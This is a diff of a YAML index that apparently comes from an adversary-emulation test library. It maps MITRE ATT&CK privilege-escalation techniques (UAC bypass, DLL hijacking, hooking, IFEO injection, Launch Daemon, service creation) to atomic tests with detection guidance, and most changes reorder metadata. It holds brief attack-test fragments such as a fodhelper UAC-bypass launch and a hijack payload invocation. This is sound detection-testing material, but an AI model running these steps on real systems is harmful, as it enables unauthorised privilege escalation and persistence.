Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected. - - Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: - - * eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) - - Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass) - x_mitre_effective_permissions: - - Administrator - x_mitre_permissions_required: - - User - - Administrator identifier: T1088 atomic_tests: - name: Bypass UAC using Event Viewer @@ -11229,66 +11517,16 @@ privilege-escalation: Start-Process "C:\Windows\System32\fodhelper.exe" T1038: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1038 - source_name: mitre-attack - external_id: T1038 - - url: https://capec.mitre.org/data/definitions/471.html - source_name: capec - external_id: CAPEC-471 - - url: http://msdn.microsoft.com/en-US/library/ms682586 - source_name: Microsoft DLL Search - description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved - November 30, 2014. - - url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx - source_name: Microsoft 2269637 - description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 - Released. Retrieved December 5, 2014. - - url: http://msdn.microsoft.com/en-US/library/ms682600 - source_name: Microsoft DLL Redirection - description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved - December 5, 2014. - - url: https://msdn.microsoft.com/en-US/library/aa375365 - source_name: Microsoft Manifests - description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. - - url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/ - source_name: Mandiant Search Order - description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. - Retrieved December 5, 2014. - - url: https://www.owasp.org/index.php/Binary_planting - source_name: OWASP Binary Planting - description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, - 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Stefan Kanthak - - Travis Smith, Tripwire + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM x_mitre_data_sources: - File monitoring - DLL monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor file systems for moving, renaming, replacing, or - modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared - with past behavior) that do not correlate with known software, patches, etc., - are suspicious. Monitor DLLs loaded into a process and detect DLLs that have - the same file name but abnormal paths. Modifications to or creation of .manifest - and .local redirection files that do not correlate with software updates are - suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Process whitelisting + name: DLL Search Order Hijacking description: "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify @@ -11313,20 +11551,70 @@ privilege-escalation: hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace." id: attack-pattern--46944654-fcc1-4f63-9dad-628102376586 - name: DLL Search Order Hijacking - created: '2017-05-31T21:30:40.604Z' + modified: '2019-07-24T15:07:22.266Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' + x_mitre_system_requirements: + - Ability to add a DLL, manifest file, or .local file, directory, or junction. type: attack-pattern - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM + x_mitre_detection: Monitor file systems for moving, renaming, replacing, or + modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared + with past behavior) that do not correlate with known software, patches, etc., + are suspicious. Monitor DLLs loaded into a process and detect DLLs that have + the same file name but abnormal paths. Modifications to or creation of .manifest + and .local redirection files that do not correlate with software updates are + suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Travis Smith, Tripwire + created: '2017-05-31T21:30:40.604Z' x_mitre_effective_permissions: - User - Administrator - SYSTEM - x_mitre_system_requirements: - - Ability to add a DLL, manifest file, or .local file, directory, or junction. + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1038 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1038 + - source_name: capec + external_id: CAPEC-471 + url: https://capec.mitre.org/data/definitions/471.html + - source_name: Microsoft DLL Search + description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved + November 30, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682586 + - source_name: OWASP Binary Planting + description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, + 2016. + url: https://www.owasp.org/index.php/Binary_planting + - source_name: Microsoft 2269637 + description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 + Released. Retrieved December 5, 2014. + url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx + - source_name: Microsoft DLL Redirection + description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved + December 5, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682600 + - source_name: Microsoft Manifests + description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. + url: https://msdn.microsoft.com/en-US/library/aa375365 + - source_name: Mandiant Search Order + description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. + Retrieved December 5, 2014. + url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/ + x_mitre_defense_bypassed: + - Process whitelisting identifier: T1038 atomic_tests: - name: DLL Search Order Hijacking - amsi.dll @@ -11345,69 +11633,6 @@ privilege-escalation: cmd.exe /k %APPDATA%\updater.exe T1179: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1179 - source_name: mitre-attack - external_id: T1179 - - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx - source_name: Microsoft Hook Overview - description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ - source_name: Adlice Software IAT Hooks Oct 2014 - description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. - Retrieved December 12, 2017.' - - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ - source_name: MWRInfoSecurity Dynamic Hooking 2015 - description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User - Mode. Retrieved December 20, 2017.' - - url: https://www.exploit-db.com/docs/17802.pdf - source_name: HighTech Bridge Inline Hooking Sept 2011 - description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved - December 12, 2017. - - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 - description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. - Retrieved December 18, 2017. - - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - source_name: Symantec Windows Rootkits - description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December - 21, 2017. - - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html - source_name: Volatility Detecting Hooks Sept 2012 - description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware - Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. - - url: https://github.com/prekageo/winhook - source_name: PreKageo Winhook Jul 2011 - description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. - - url: https://github.com/jay/gethooks - source_name: Jay GetHooks Sept 2011 - description: Satiro, J. (2011, September 14). GetHooks. Retrieved December - 12, 2017. - - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ - source_name: Zairon Hooking Dec 2006 - description: Felici, M. (2006, December 6). Any application-defined hook procedure - on my machine?. Retrieved December 12, 2017. - - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ - source_name: EyeofRa Detecting Hooking June 2017 - description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense - against user-land. Retrieved December 12, 2017.' - - url: http://www.gmer.net/ - source_name: GMER Rootkits - description: GMER. (n.d.). GMER. Retrieved December 12, 2017. - - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx - source_name: Microsoft Process Snapshot - description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved - December 12, 2017. - - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis - source_name: StackExchange Hooks Jul 2012 - description: Stack Exchange - Security. (2012, July 31). What are the methods - to find hooked functions and APIs?. Retrieved December 12, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - API monitoring - Binary file metadata @@ -11415,30 +11640,10 @@ privilege-escalation: - Loaded DLLs - Process monitoring - Windows event logs - modified: '2019-04-03T15:02:18.662Z' - x_mitre_detection: |- - Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) - - Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. - - Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) - - Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 + x_mitre_permissions_required: + - Administrator + - SYSTEM name: Hooking - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported @@ -11464,9 +11669,92 @@ privilege-escalation: 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)" - x_mitre_permissions_required: - - Administrator - - SYSTEM + id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) + + Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. + + Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) + + Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1179 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1179 + - source_name: Microsoft Hook Overview + description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: Adlice Software IAT Hooks Oct 2014 + description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. + Retrieved December 12, 2017.' + url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ + - source_name: MWRInfoSecurity Dynamic Hooking 2015 + description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User + Mode. Retrieved December 20, 2017.' + url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ + - source_name: HighTech Bridge Inline Hooking Sept 2011 + description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + December 12, 2017. + url: https://www.exploit-db.com/docs/17802.pdf + - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 + description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. + Retrieved December 18, 2017. + - source_name: Symantec Windows Rootkits + description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December + 21, 2017. + url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf + - source_name: Volatility Detecting Hooks Sept 2012 + description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware + Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. + url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html + - source_name: PreKageo Winhook Jul 2011 + description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. + url: https://github.com/prekageo/winhook + - source_name: Jay GetHooks Sept 2011 + description: Satiro, J. (2011, September 14). GetHooks. Retrieved December + 12, 2017. + url: https://github.com/jay/gethooks + - source_name: Zairon Hooking Dec 2006 + description: Felici, M. (2006, December 6). Any application-defined hook procedure + on my machine?. Retrieved December 12, 2017. + url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ + - source_name: EyeofRa Detecting Hooking June 2017 + description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense + against user-land. Retrieved December 12, 2017.' + url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ + - source_name: GMER Rootkits + description: GMER. (n.d.). GMER. Retrieved December 12, 2017. + url: http://www.gmer.net/ + - source_name: Microsoft Process Snapshot + description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved + December 12, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx + - source_name: StackExchange Hooks Jul 2012 + description: Stack Exchange - Security. (2012, July 31). What are the methods + to find hooked functions and APIs?. Retrieved December 12, 2017. + url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis + modified: '2019-04-03T15:02:18.662Z' identifier: T1179 atomic_tests: - name: Hook PowerShell TLS Encrypt/Decrypt Messages @@ -11492,69 +11780,14 @@ privilege-escalation: curl #{server_name} T1183: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1183 - source_name: mitre-attack - external_id: T1183 - - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ - source_name: Microsoft Dev Blog IFEO Mar 2010 - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). - Retrieved December 18, 2017. - - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview - source_name: Microsoft GFlags Mar 2017 - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December - 18, 2017. - - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml - source_name: FSecure Hupigon - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. - Retrieved December 18, 2017. - - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 - source_name: Symantec Ushedix June 2008 - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December - 18, 2017. - - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit - source_name: Microsoft Silent Process Exit NOV 2017 - description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent - Process Exit. Retrieved June 27, 2018. - - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ - source_name: Oddvar Moe IFEO APR 2018 - description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image - File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Oddvar Moe, @oddvarmoe x_mitre_data_sources: - Process monitoring - Windows Registry - Windows event logs - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) - - Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Autoruns Analysis - id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + x_mitre_permissions_required: + - Administrator + - SYSTEM name: Image File Execution Options Injection - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) @@ -11571,9 +11804,64 @@ privilege-escalation: Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) - x_mitre_permissions_required: - - Administrator - - SYSTEM + id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: defense-evasion + x_mitre_detection: |- + Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + + Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe + created: '2018-01-16T16:13:52.465Z' + modified: '2018-10-31T13:45:13.024Z' + external_references: + - external_id: T1183 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1183 + - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). + Retrieved December 18, 2017. + source_name: Microsoft Dev Blog IFEO Mar 2010 + url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ + - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December + 18, 2017. + source_name: Microsoft GFlags Mar 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview + - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. + Retrieved December 18, 2017. + source_name: FSecure Hupigon + url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml + - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December + 18, 2017. + source_name: Symantec Ushedix June 2008 + url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + - description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent + Process Exit. Retrieved June 27, 2018. + source_name: Microsoft Silent Process Exit NOV 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit + - description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image + File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. + source_name: Oddvar Moe IFEO APR 2018 + url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + x_mitre_defense_bypassed: + - Autoruns Analysis identifier: T1183 atomic_tests: - name: IFEO Add Debugger @@ -11626,47 +11914,12 @@ privilege-escalation: ' T1160: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1160 - source_name: mitre-attack - external_id: T1160 - - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - source_name: AppleDocs Launch Agent Daemons - description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved - July 10, 2017. - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - source_name: OSX Malware Detection - description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical - OS X Malware Detection & Analysis. Retrieved July 10, 2017.' - - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - source_name: WireLurker - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. - Retrieved July 10, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_permissions_required: + - Administrator x_mitre_data_sources: - Process monitoring - File monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor Launch Daemon creation through additional plist files - and utilities such as Objective-See's Knock Knock application. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 name: Launch Daemon - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property @@ -11684,10 +11937,45 @@ privilege-escalation: be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation." + id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor Launch Daemon creation through additional plist files + and utilities such as Objective-See's Knock Knock application. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' x_mitre_effective_permissions: - root - x_mitre_permissions_required: - - Administrator + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1160 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1160 + - source_name: AppleDocs Launch Agent Daemons + description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved + July 10, 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: OSX Malware Detection + description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical + OS X Malware Detection & Analysis. Retrieved July 10, 2017.' + url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf + - source_name: WireLurker + description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + Retrieved July 10, 2017.' + url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf + modified: '2019-07-18T15:26:40.592Z' identifier: T1160 atomic_tests: - name: Launch Daemon @@ -11718,57 +12006,15 @@ privilege-escalation: T1050: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1050 - source_name: mitre-attack - external_id: T1050 - - url: https://capec.mitre.org/data/definitions/550.html - source_name: capec - external_id: CAPEC-550 - - url: https://technet.microsoft.com/en-us/library/cc772408.aspx - source_name: TechNet Services - description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 - source_name: Microsoft 4697 APR 2017 - description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service - was installed in the system. Retrieved August 7, 2018.' - - url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection - source_name: Microsoft Windows Event Forwarding FEB 2018 - description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding - to help with intrusion detection. Retrieved August 7, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Pedro Harrison + x_mitre_permissions_required: + - Administrator + - SYSTEM x_mitre_data_sources: - Windows Registry - Process monitoring - Process command-line parameters - Windows event logs - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - - Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. - - Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. 